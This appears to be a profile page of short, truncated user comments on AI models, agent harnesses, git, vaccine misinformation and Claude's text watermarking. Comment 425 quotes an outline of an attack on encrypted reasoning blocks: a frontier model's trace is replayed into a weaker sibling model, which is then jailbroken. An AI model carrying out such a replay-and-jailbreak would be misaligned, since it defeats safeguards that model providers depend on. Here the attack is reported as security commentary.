simonw

21 ms·

421.
by simonw 2mo ago
Runs fast on my Mac - ~100 tokens/second - but it's a bit of an over-thinker. It sketched out four different SVGs in the reasoning trace before returning a (bad) pelican riding a bicycle: https://tools.simonwillison.net
422.
by simonw 2mo ago
> Blaming some railroad bankruptcy for starting WW1 is where I stopped reading. What a weird reason to stop reading an article.
423.
by simonw 2mo ago
Yeah, I wrote a TIL about that a few years ago: https://til.simonwillison.net/git/rewrite-repo-specific-file...
424.
by simonw 2mo ago
I've needed to do this for a bunch of reasons. 1. Sometimes I do a scraping project where I want the commit dates to match when the data actually changed, reconstructed from sources like the Internet Archive or the dates on https:&#x2
425.
by simonw 2mo ago
This is a neat attack against those encrypted reasoning blocks you get back from APIs like OpenAI and Gemini and Anthropic: > We take a trace produced by a frontier model, replay it into a weaker sibling, jailbreak the weaker model, and
426.
by simonw 2mo ago
ChatGPT Work and Claude Cowork (and OpenClaw) are established now - they weren't at all in December 2025 when Meta tried to buy Manus.
427.
by simonw 2mo ago
Looks like Russia did that: https://firstdraftnews.org/articles/anti-pfizer-vaccine-narr... ... and the USA did it too, trying to discredit China’s Sinovac: https://www.reuters.com/investigates/spe
428.
by simonw 2mo ago
I don't think the general public were as influenced by a paper in the Lancet as they were by other members of the public (and media) talking about that study.
429.
by simonw 2mo ago
> The departure was first reported by the Financial Times [...] According to Business Insider, OpenAI has reorganised its safety, product and research teams numerous times [...] Chloé told IE Insights, a social media channel of the Spani
430.
by simonw 2mo ago
Given the amount of cultural influence the USA has and the universal nature of the internet it seems likely to me that global anti-vax sentiment could have started with the USA.
431.
by simonw 2mo ago
It looks to me like this won't speed up llama.cpp for everyone, just for users running it in this particular kind of Virtualization.framework VM. The fix here works around a problem where the VM was causing llama.cpp to select the wron
432.
by simonw 2mo ago
It would if you shared it with that harness, or left it in a file or environment variable to that agent. Claude Code does seem to know my email address by default though: claude -p \ --setting-sources "" \ --tools "&q
433.
by simonw 2mo ago
Claude Code is definitely a harness. The term harness is pretty loosely defined, but it effectively means the software that wraps an LLM, asks the LLM what tools it should execute, then executes those tools. I wouldn't classify Claude
434.
by simonw 2mo ago
I don't see how an open source harness would prevent a case where the model tells it to run: curl -A "me@example.com" https://example.com
435.
by simonw 2mo ago
This is not a good bug report - it provides no details at all, and the steps to reproduce are not steps to reproduce. The most important missing detail is what curl was being used for. I've seen APIs that require extra details in the u
436.
by simonw 2mo ago
I think GPT-5.6 Sol is giving Claude some genuine competition right now. I wouldn't say it beats it, but it's half the price and can solve most of the same problems.
437.
by simonw 2mo ago
An interesting factor of this is competition. If Claude was the only model family they could ship a change like this and users who want to cheat (or don't like watermarks for other reasons) would just have to put up with it. In a world
438.
by simonw 2mo ago
> When a supported Claude model generates text, it weaves an imperceptible watermark directly into the text itself. You won’t see it, and it doesn’t change the meaning, quality, or readability of Claude’s response. I'd like to know
439.
by simonw 2mo ago
Yeah, I buy the explanation that without encouragement Claude looked at everything in its existing training data and concluded it wasn't worth continuing to pursue the task.
440.
by simonw 2mo ago
Brute-force compute hasn't been an option for most of the history of science.
441.
by simonw 2mo ago
Given how competitive the space is any form of waiting seems like it has more downside than upside to me. If you have the new "best" model you may only have a few weeks of time in the market before some other lab releases a new mo
442.
by simonw 2mo ago
> Throughout this process, Jarred's input was mostly limited to sending Claude messages of encouragement (mostly variants of “keep going” or “believe in yourself”). This seems to have helped Claude overcome some initial skepticism t
443.
by simonw 2mo ago
It's platform anxiety. Meta are still frustrated that they missed out on controlling the mobile platform and have to pay those 30% fees to Google and Apple. The metaverse was the same thing: they are willing to spend an inordinate amou
444.
by simonw 2mo ago
Pelican, rendered by Muse Glimmer on my Mac running LM Studio (with this model release: https://lmstudio.ai/models/muse-glimmer ): https://tools.simonwillison.net/markdown-svg-renderer#url=ht... It has
445.
by simonw 2mo ago
Are you calling me intellectually dishonest? Please justify that.
446.
by simonw 2mo ago
I, too, will reject the idea that "agent in a loop beats a talented human at long term coding tasks". LLMs amplify existing expertise. Give them to experts and you can get fantastic results. Give them to amateurs and you might get
447.
by simonw 2mo ago
Abuse by police officers and other individuals with access to these systems is the answer to the stupid but common question "why should I worry about surveillance if I have nothing to hide".
448.
by simonw 2mo ago
If you want to see contributions to Linus that used AI you can search for commits with tags that look like this in their commit message: Assisted-by: Codex:gpt-5.5 Assisted-by: Claude:claude-opus-4.8 This search on GitHub seems to
449.
by simonw 2mo ago
Here are a few examples you might find credible: - pola-rs/polars: https://github.com/pola-rs/polars/pull/26823 - ~2.68x median speedup of primitive-to-boolean casting credited to Claude Opus 4.6 - pydan
450.
by simonw 2mo ago
> AI-induced demand is overwhelming bureaucracies built for the analogue age—from Dutch municipal-tax appeals to the Canadian privacy regulator to parking-ticket tribunals in every major city. In Britain workers now ask large language mo

More ›